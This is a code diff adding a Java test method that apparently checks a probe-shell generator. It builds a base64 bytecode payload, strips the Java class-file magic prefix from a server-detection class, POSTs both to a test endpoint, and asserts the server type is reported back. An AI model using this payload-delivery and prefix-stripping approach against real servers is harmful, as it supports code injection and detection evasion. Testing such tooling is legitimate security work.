@@ -49,6 +49,34 @@ public static void responseBytecodeIsOk(String url, String server, int targetJre
4949 }
5050 }
5151
52+ @ SneakyThrows
53+ public static void responseBytecodeWithoutPrefixIsOk (String url , String server , int targetJreVersion ) {
54+ ProbeConfig probeConfig = ProbeConfig .builder ()
55+ .probeMethod (ProbeMethod .ResponseBody )
56+ .probeContent (ProbeContent .Bytecode )
57+ .targetJreVersion (targetJreVersion )
58+ .debug (true )
59+ .shrink (true )
60+ .build ();
61+ String reqParamName = "payload" ;
62+ ResponseBodyConfig responseBodyConfig = ResponseBodyConfig .builder ()
63+ .server (server )
64+ .reqParamName (reqParamName )
65+ .build ();
66+ ProbeShellResult probeResult = ProbeShellGenerator .generate (probeConfig , responseBodyConfig );
67+ RequestBody requestBody = new FormBody .Builder ()
68+ .add ("data" , probeResult .getShellBytesBase64Str ())
69+ .add (reqParamName , DetectionTool .getServerDetection ().replace ("yv66vgAAAD" , "" ))
70+ .build ();
71+ Request request = new Request .Builder ()
72+ .header ("Content-Type" , "application/x-www-form-urlencoded" )
73+ .url (url + "/b64" ).post (requestBody )
74+ .build ();
75+ try (Response response = new OkHttpClient ().newCall (request ).execute ()) {
76+ assertEquals (server , response .body ().string ());
77+ }
78+ }
79+
5280 @ SneakyThrows
5381 public static void responseCommandIsOk (String url , String server , int targetJreVersion ) {
5482 ProbeConfig probeConfig = ProbeConfig .builder ()
0 commit comments